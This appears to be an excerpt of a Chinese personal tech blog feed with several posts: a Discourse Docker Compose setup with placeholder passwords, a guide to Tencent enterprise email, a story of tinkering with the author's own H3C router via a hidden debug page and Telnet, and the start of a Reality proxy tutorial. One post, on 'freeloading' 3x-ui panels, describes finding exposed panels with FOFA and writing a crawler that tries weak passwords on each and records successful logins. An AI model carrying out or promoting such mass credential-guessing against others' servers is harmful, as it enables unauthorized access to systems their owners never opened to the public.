      - &amp;#39;127.0.0.1:880:3000&amp;#39;
    volumes:
      - &amp;#39;discourse_data:&#x2F;bitnami&#x2F;discourse&amp;#39;
    depends_on:
      - postgresql
      - redis
    environment:
      # 用户和站点配置
      - DISCOURSE_HOST=example.com
      - DISCOURSE_USERNAME=siteadmin
      - DISCOURSE_PASSWORD=siteadmin12345
      - DISCOURSE_EMAIL=siteadmin@gmail.com
      # 数据库连接配置
      - DISCOURSE_DATABASE_HOST=postgresql
      - DISCOURSE_DATABASE_PORT_NUMBER=5432
      - DISCOURSE_DATABASE_USER=ex_discourse
      - DISCOURSE_DATABASE_PASSWORD=user12345
      - DISCOURSE_DATABASE_NAME=example_discourse
      # Redis 连接配置
      - DISCOURSE_REDIS_HOST=redis
      - DISCOURSE_REDIS_PORT_NUMBER=6379
      - DISCOURSE_REDIS_PASSWORD=redis12345
      # 使用 postgresql-client 为 Discourse 创建数据库
      - POSTGRESQL_CLIENT_POSTGRES_USER=postgres
      - POSTGRESQL_CLIENT_POSTGRES_PASSWORD=admin12345
      - POSTGRESQL_CLIENT_CREATE_DATABASE_NAME=example_discourse
      - POSTGRESQL_CLIENT_CREATE_DATABASE_EXTENSIONS=hstore,pg_trgm
      # SMTP
      - DISCOURSE_SMTP_HOST=smtp.mailgun.org
      - DISCOURSE_SMTP_PORT=587
      - DISCOURSE_SMTP_USER=邮箱用户名
      - DISCOURSE_SMTP_PASSWORD=邮箱密码
      - DISCOURSE_SMTP_PROTOCOL=tls或ssl
      - DISCOURSE_SMTP_AUTH=login
  sidekiq:
    image: docker.io&#x2F;bitnami&#x2F;discourse:2
    depends_on:
      - discourse
    volumes:
      - &amp;#39;sidekiq_data:&#x2F;bitnami&#x2F;discourse&amp;#39;
    command: &#x2F;opt&#x2F;bitnami&#x2F;scripts&#x2F;discourse-sidekiq&#x2F;run.sh
    environment:
      # 用户和站点配置
      - DISCOURSE_HOST=example.com
      - DISCOURSE_USERNAME=siteadmin
      - DISCOURSE_PASSWORD=siteadmin12345
      - DISCOURSE_EMAIL=siteadmin@gmail.com
      # 数据库连接配置
      - DISCOURSE_DATABASE_HOST=postgresql
      - DISCOURSE_DATABASE_PORT_NUMBER=5432
      - DISCOURSE_DATABASE_USER=ex_discourse
      - DISCOURSE_DATABASE_PASSWORD=user12345
      - DISCOURSE_DATABASE_NAME=example_discourse
      # Redis 连接配置
      - DISCOURSE_REDIS_HOST=redis
      - DISCOURSE_REDIS_PORT_NUMBER=6379
      - DISCOURSE_REDIS_PASSWORD=redis12345
      # SMTP
      - DISCOURSE_SMTP_HOST=smtp.mailgun.org
      - DISCOURSE_SMTP_PORT=587
      - DISCOURSE_SMTP_USER=邮箱用户名
      - DISCOURSE_SMTP_PASSWORD=邮箱密码
      - DISCOURSE_SMTP_PROTOCOL=tls或ssl
      - DISCOURSE_SMTP_AUTH=login
volumes:
  postgresql_data:
    driver: local
  redis_data:
    driver: local
  discourse_data:
    driver: local
  sidekiq_data:
    driver: local
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;需要修改的部分。配置文件中两份都要改&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;需替换值&lt;&#x2F;th&gt;&lt;th&gt;解释&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;admin12345&lt;&#x2F;td&gt;&lt;td&gt;数据库管理员密码（可选）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ex_discourse&lt;&#x2F;td&gt;&lt;td&gt;数据库用户名（可选）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;user12345&lt;&#x2F;td&gt;&lt;td&gt;数据库用户密码（可选）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;example_discourse&lt;&#x2F;td&gt;&lt;td&gt;数据库名（可选）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;redis12345&lt;&#x2F;td&gt;&lt;td&gt;Redis 密码（可选）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;127.0.0.1:880&lt;&#x2F;td&gt;&lt;td&gt;映射端口（可选）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;example.com&lt;&#x2F;td&gt;&lt;td&gt;网站IP或域名(不加HTTP)（&lt;strong&gt;必改&lt;&#x2F;strong&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;siteadmin&lt;&#x2F;td&gt;&lt;td&gt;网站管理员用户名（&lt;strong&gt;必改&lt;&#x2F;strong&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;siteadmin12345&lt;&#x2F;td&gt;&lt;td&gt;网站管理员密码（&lt;strong&gt;必改&lt;&#x2F;strong&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;siteadmin@gmail.com&lt;&#x2F;td&gt;&lt;td&gt;网站管理员邮箱（&lt;strong&gt;必改&lt;&#x2F;strong&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;smtp.mailgun.org&lt;&#x2F;td&gt;&lt;td&gt;邮箱HOST（&lt;strong&gt;必改&lt;&#x2F;strong&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;587&lt;&#x2F;td&gt;&lt;td&gt;邮箱端口。只能用587端口（&lt;strong&gt;必改&lt;&#x2F;strong&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;邮箱用户名&lt;&#x2F;td&gt;&lt;td&gt;邮箱用户名（&lt;strong&gt;必改&lt;&#x2F;strong&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;邮箱密码&lt;&#x2F;td&gt;&lt;td&gt;邮箱密码（或者授权码）（&lt;strong&gt;必改&lt;&#x2F;strong&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;tls&lt;&#x2F;td&gt;&lt;td&gt;邮箱协议。只能用TLS协议（&lt;strong&gt;必改&lt;&#x2F;strong&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;如果需要一个支持SMTP TLS的邮箱服务可以使用&lt;a href=&quot;&#x2F;posts&#x2F;exmail-qq&#x2F;&quot;&gt;微信企业邮&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;构建：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;docker compose up -d
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果遇到 &lt;code&gt;docker.io&lt;&#x2F;code&gt; 无法访问。可以使用镜像源&lt;&#x2F;p&gt;
&lt;p&gt;部署完毕后查看 &lt;code&gt;discourse-discourse-1&lt;&#x2F;code&gt; 容器的日志&lt;&#x2F;p&gt;
&lt;p&gt;如果看到下述日志，则Discourse正在进行预编译资源，稍等几分钟即可&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;INFO  ==&amp;gt; Precompiling assets, this may take some time...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果看到下述日志，证明Discourse已经在容器内3000端口启动了&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;Accessible via: http:&#x2F;&#x2F;0.0.0.0:3000&#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来访问你设置的域名（如果没有做解析或者网站在内网可以使用Cloudflare Tunnel曲线救国）&lt;&#x2F;p&gt;
&lt;p&gt;访问，大功告成&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-22-20-51-image.png&quot; alt=&quot;2025-05-02-22-20-51-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>手把手教你用上微信企业（域名）邮箱（免费！）</title>
        <published>2025-05-02T00:00:00+00:00</published>
        <updated>2025-05-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/exmail-qq/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/exmail-qq/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/exmail-qq/">&lt;p&gt;之前我写过一篇&lt;a href=&quot;&#x2F;posts&#x2F;163-free-domain-email&#x2F;&quot;&gt;网易企业邮&lt;&#x2F;a&gt;的文章，但真的投入使用后发现各种毛病是层出不穷。比如SMTP&#x2F;IMAP&#x2F;POP3默认是关的，你想打开就弹出一个 &lt;code&gt;管理员未开启当前登录权限&lt;&#x2F;code&gt; ...&lt;&#x2F;p&gt;
&lt;p&gt;我TM是不是管理员啊，你倒是TM告诉我TMD这个在哪开啊！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-20-54-05-image.png&quot; alt=&quot;2025-05-02-20-54-05-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-20-54-18-image.png&quot; alt=&quot;2025-05-02-20-54-18-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;而微信企业邮完美解决了这些问题，开启SMTP&#x2F;IMAP&#x2F;POP3服务非常简单，而且也没有网易那么草台&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;p&gt;首先进入 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://work.weixin.qq.com&#x2F;mail&#x2F;&quot;&gt;腾讯企业邮箱&lt;&#x2F;a&gt; 创建一个企业，会让你绑定企业微信，按照步骤弄好就行&lt;&#x2F;p&gt;
&lt;p&gt;接下来绑定域名，添加几条MX记录即可&lt;&#x2F;p&gt;
&lt;p&gt;最后是重头戏，开启SMTP&#x2F;IMAP&#x2F;POP3&lt;&#x2F;p&gt;
&lt;p&gt;我们需要前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://exmail.qq.com&#x2F;login&quot;&gt;腾讯企业邮箱-登录入口&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;注意，这里点击 &lt;code&gt;其他方式登录&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-20-57-24-image.png&quot; alt=&quot;2025-05-02-20-57-24-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后选择账号密码登录&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-20-57-44-image.png&quot; alt=&quot;2025-05-02-20-57-44-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着选择成员登录（如果直接进去了就跳过这一步）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-20-59-22-image.png&quot; alt=&quot;2025-05-02-20-59-22-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来左上角点击设置&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-21-00-08-image.png&quot; alt=&quot;2025-05-02-21-00-08-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;收发信设置&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-21-00-31-image.png&quot; alt=&quot;2025-05-02-21-00-31-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里就能查看到SMTP和IMAP的地址和端口（实测TLS也是支持的，只是它没写）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-21-01-07-image.png&quot; alt=&quot;2025-05-02-21-01-07-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来前往邮箱绑定&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-21-01-36-image.png&quot; alt=&quot;2025-05-02-21-01-36-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;生成新密码&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-21-01-57-image.png&quot; alt=&quot;2025-05-02-21-01-57-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着随便找一个邮箱客户端去测试即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;2025-05-02-21-03-17-Screenshot_2025-05-02-21-02-29-86.png&quot; alt=&quot;2025-05-02-21-03-17-Screenshot_2025-05-02-21-02-29-86.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;2025-05-02-21-03-45-Screenshot_2025-05-02-21-03-32-54_6cf654f91021b6b.png&quot; alt=&quot;2025-05-02-21-03-45-Screenshot_2025-05-02-21-03-32-54_6cf654f91021b6b.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着你就可以拿这个邮箱给你的博客论坛用啦&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>关于我对路由器瞎改一通让网速变快了这档事</title>
        <published>2025-05-02T00:00:00+00:00</published>
        <updated>2025-05-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/h3c-debug/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/h3c-debug/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/h3c-debug/">&lt;p&gt;起因是我经常使用的Cloudflare梯子访问速度变慢，而且经常被RST重置。买了个小鸡后自己搭了个Reality的梯子还是经常掉线，甚至HTTP协议的面板访问都超时。于是我便开始鼓捣起路由器&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-25-12-image.png&quot; alt=&quot;2025-05-02-04-25-12-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiao-cha-qu-guang-mao-qiao-jie-de-pi-chu&quot;&gt;小插曲 - 光猫桥接的坏处&lt;&#x2F;h3&gt;
&lt;p&gt;在我研究的时候，咔，突然就上不了网了，往H3C路由器后台一看，发现PPPoE拨号显示服务器无响应&lt;&#x2F;p&gt;
&lt;p&gt;我思考了一下，我现在的网络架构是光猫桥接，路由器拨号，现在路由器拨号显示服务器无响应。暂时还不知道是什么问题，最好的方法是去光猫后台看看&lt;&#x2F;p&gt;
&lt;p&gt;然后我就在浏览器输入 &lt;code&gt;192.168.1.1&lt;&#x2F;code&gt; 然后看着他转啊转，转啊转，然后连接超时&lt;&#x2F;p&gt;
&lt;p&gt;我又一想，对啊，光猫桥接路由拨号那么路由器必然不在光猫管理后台的网段，自然也就没法通过路由器的WiFi进入光猫的后台（后面发现并非如此）&lt;&#x2F;p&gt;
&lt;p&gt;然后我就又思考，我记得光猫是开启了WiFi的，一找还真有，连一下，忘记密码了，试了好几遍也不行&lt;&#x2F;p&gt;
&lt;p&gt;那么既然暂时连不上光猫的WiFi，那我就物理接触一下光猫吧🤔&lt;&#x2F;p&gt;
&lt;p&gt;一看时间，哟，凌晨1点，光猫在隔壁房间，还有人睡觉呢，那看来这个法子也行不通&lt;&#x2F;p&gt;
&lt;p&gt;暴力破解一下吧，算了一下，哪怕是4位数字排列组合也有78,074,896种可能，而且对面光猫也不会秒响应，至少要等个3秒，那么算下来就是我最差需要花费234,224,688秒，也就是3,903,744.8分钟，65,062.41333333333小时，2,710.933888888889天。额...算了吧&lt;&#x2F;p&gt;
&lt;p&gt;继续思考，既然光猫和路由器是物理连接上的，那么我改改路由器的设置是不是能连上光猫呢？&lt;&#x2F;p&gt;
&lt;p&gt;我觉得行得通，但是问了AI，给我扯了一堆乱七八糟的结果是行不通（其实行得通）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-05-45-image.png&quot; alt=&quot;2025-05-02-04-05-45-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后就是乱七八糟的尝试。终于我发现，&lt;strong&gt;将路由器改为静态IP模式，将IP改为192.168.1.2，网关改为192.168.1.1的时候，成功进入了192.168.1.1，也就是光猫的后台&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后一查看，PON链路连接状态：未连接&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;2025-05-02-04-07-34-ea6cb596e8abff1d34736282716a222f_720.png&quot; alt=&quot;2025-05-02-04-07-34-ea6cb596e8abff1d34736282716a222f_720.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这一般是光纤松了，但是我现在也摸不到光猫啊&lt;&#x2F;p&gt;
&lt;p&gt;思考到这的我决定睡觉吧，睡一觉就好了&lt;&#x2F;p&gt;
&lt;p&gt;结果2小时后它自己好了...&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-09-30-image.png&quot; alt=&quot;2025-05-02-04-09-30-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;2025-05-02-04-09-33-7e66540d3f1540de42cd16fd7d976a62.png&quot; alt=&quot;2025-05-02-04-09-33-7e66540d3f1540de42cd16fd7d976a62.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;插曲 End&lt;&#x2F;p&gt;
&lt;h1 id=&quot;xing-dong-yi-tong-guo-telnetdeng-lu-lu-you-qi&quot;&gt;行动一：通过Telnet登录路由器&lt;&#x2F;h1&gt;
&lt;p&gt;其实我早就知道这个H3C路由器可以打开Telnet并且登录进去过知道它是OpenWRT，但是因为这个机子不能刷机，而且OpenWRT版本在15.05.1（在2025-05-02，最新稳定版的OpenWRT版本为24.10.0）😅&lt;&#x2F;p&gt;
&lt;p&gt;姑且说一下H3C家用终端怎么开Telnet吧&lt;&#x2F;p&gt;
&lt;p&gt;进入下述网址，你就能看到Telnet开关，打开即可&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;https://192.168.124.1&#x2F;debug.asp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-14-04-image.png&quot; alt=&quot;2025-05-02-04-14-04-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;顺带一提&lt;&#x2F;p&gt;
&lt;p&gt;NAT转换方式为三元组最开放。其他看不懂的东西建议不要动&lt;&#x2F;p&gt;
&lt;p&gt;接着就是通过Telnet登录路由器了&lt;&#x2F;p&gt;
&lt;p&gt;H3C的Telnet端口为15000，登录进去后是这样&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-15-54-image.png&quot; alt=&quot;2025-05-02-04-15-54-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这个界面下我也不知道有啥能操作的，接着输入 &lt;code&gt;debugshell&lt;&#x2F;code&gt; 进入OpenWRT系统（当成没有包管理器的Linux用就行[因为这系统太老了 opkg找不到任何软件源，啥也装不了😅]）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-17-46-image.png&quot; alt=&quot;2025-05-02-04-17-46-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这下看懂了&lt;&#x2F;p&gt;
&lt;h1 id=&quot;xing-dong-er-zhao-yin-cang-ye-mian&quot;&gt;行动二：找隐藏页面&lt;&#x2F;h1&gt;
&lt;p&gt;既然有 &lt;code&gt;debug.asp&lt;&#x2F;code&gt; 那是不是还有更多隐藏的页面呢&lt;&#x2F;p&gt;
&lt;p&gt;首先看看这个系统里面都有啥&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-18-59-image.png&quot; alt=&quot;2025-05-02-04-18-59-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;发现了 &lt;code&gt;www&lt;&#x2F;code&gt; 目录，进入看看&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-19-43-image.png&quot; alt=&quot;2025-05-02-04-19-43-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;看来这就是供用户访问的Web服务的源，但这里还有很多静态文件（比如CSS，PNG），我们筛选一下 &lt;code&gt;.asp&lt;&#x2F;code&gt; 文件&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-21-10-image.png&quot; alt=&quot;2025-05-02-04-21-10-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;挨个访问看看，有不少隐藏的页面&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-21-48-ee25e30ecca07bf2d1ba4251809dd4d3.png&quot; alt=&quot;2025-05-02-04-21-48-ee25e30ecca07bf2d1ba4251809dd4d3.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-21-52-f2dba1c3e41f7bad4fa940eb81eb3122.png&quot; alt=&quot;2025-05-02-04-21-52-f2dba1c3e41f7bad4fa940eb81eb3122.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-21-56-bb2477a30fcc13f293cb87ba4fe48c66.png&quot; alt=&quot;2025-05-02-04-21-56-bb2477a30fcc13f293cb87ba4fe48c66.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-22-01-c2cac252a281573c0a3929d4fe74df65.png&quot; alt=&quot;2025-05-02-04-22-01-c2cac252a281573c0a3929d4fe74df65.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;xing-dong-san-xia-jbluan-gai&quot;&gt;行动三：瞎JB乱改&lt;&#x2F;h1&gt;
&lt;p&gt;找到感觉影响了数据传输性能的设置，比如什么防火墙、QOS、数据队列等等的乱改一通，防火墙关，QOS关，数据队列顺序优先，NAT类型FullCone，防攻击关闭等等等等&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zui-zhong-xing-dong-zai-ci-ce-shi&quot;&gt;最终行动：再次测试&lt;&#x2F;h1&gt;
&lt;p&gt;似乎好了？我不知道，等白天再测测吧，也可能是心理作用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-02-04-25-49-image.png&quot; alt=&quot;2025-05-02-04-25-49-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jian-yi&quot;&gt;建议&lt;&#x2F;h1&gt;
&lt;p&gt;家用路由器别买H3C😅&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>白嫖免费的3x-ui面板</title>
        <published>2025-05-01T00:00:00+00:00</published>
        <updated>2025-05-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/free-3xui/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/free-3xui/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/free-3xui/">&lt;p&gt;首先我们要先找到互联网上搭建了3x-ui的网站，可以使用 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://fofa.info&#x2F;&quot;&gt;网络空间测绘，网络空间安全搜索引擎，网络空间搜索引擎，安全态势感知 - FOFA网络空间测绘系统&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-01-22-14-32-image.png&quot; alt=&quot;2025-05-01-22-14-32-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;进入后我们搜索：&lt;code&gt;app=&quot;3x-ui&quot; &amp;amp;&amp;amp; region=&quot;HK&quot;&lt;&#x2F;code&gt; 即寻找3x-ui网站，并且地区为中国香港的&lt;&#x2F;p&gt;
&lt;p&gt;接下来我们制作一个TXT文档，里面全部都是搭建了3x-ui的网站，如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;8b9390ec-61b0-4f78-8d76-aa2b7cb136e5.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后我们就要找到3x-ui的登录原理&lt;&#x2F;p&gt;
&lt;p&gt;通过正常登录可知，他会请求 &lt;code&gt;&#x2F;login&lt;&#x2F;code&gt; 并且以 &lt;code&gt;application&#x2F;x-www-form-urlencoded; charset=UTF-8&lt;&#x2F;code&gt; 格式发送请求体&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-01-22-10-39-image.png&quot; alt=&quot;2025-05-01-22-10-39-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来让我们查看请求体，非常简单！只有一个 &lt;code&gt;username&lt;&#x2F;code&gt; 和 &lt;code&gt;password&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-01-22-12-14-image.png&quot; alt=&quot;2025-05-01-22-12-14-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后让我们在Postman中模拟请求...完全没有问题！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-01-22-12-46-f6cec50c16c94c50acc0e23150edde22.png&quot; alt=&quot;2025-05-01-22-12-46-f6cec50c16c94c50acc0e23150edde22.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来就可以编写爬虫了！&lt;&#x2F;p&gt;
&lt;p&gt;大致原理：依次请求TXT内的网站，并且模拟登录，如果弱口令登录成功，并且网站返回登录成功的JSON，就将它记录到另一个TXT。循环结束后就能得到非常非常多的白嫖的节点了！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-01-22-16-13-image.png&quot; alt=&quot;2025-05-01-22-16-13-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Reality协议的代理服务端搭建教程</title>
        <published>2025-05-01T00:00:00+00:00</published>
        <updated>2025-05-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/reality/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/reality/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/reality/">&lt;ul&gt;
&lt;li&gt;确保拥有一台海外VPS（无需独立公网）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;为了确保您的操作能跟教程一致，并且便于后续复现BUG，请先将VPS重装系统为Debian12再继续操作&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;首先通过SSH登录你的VPS&lt;&#x2F;p&gt;
&lt;p&gt;安装3x-ui面板。执行：&lt;&#x2F;p&gt;
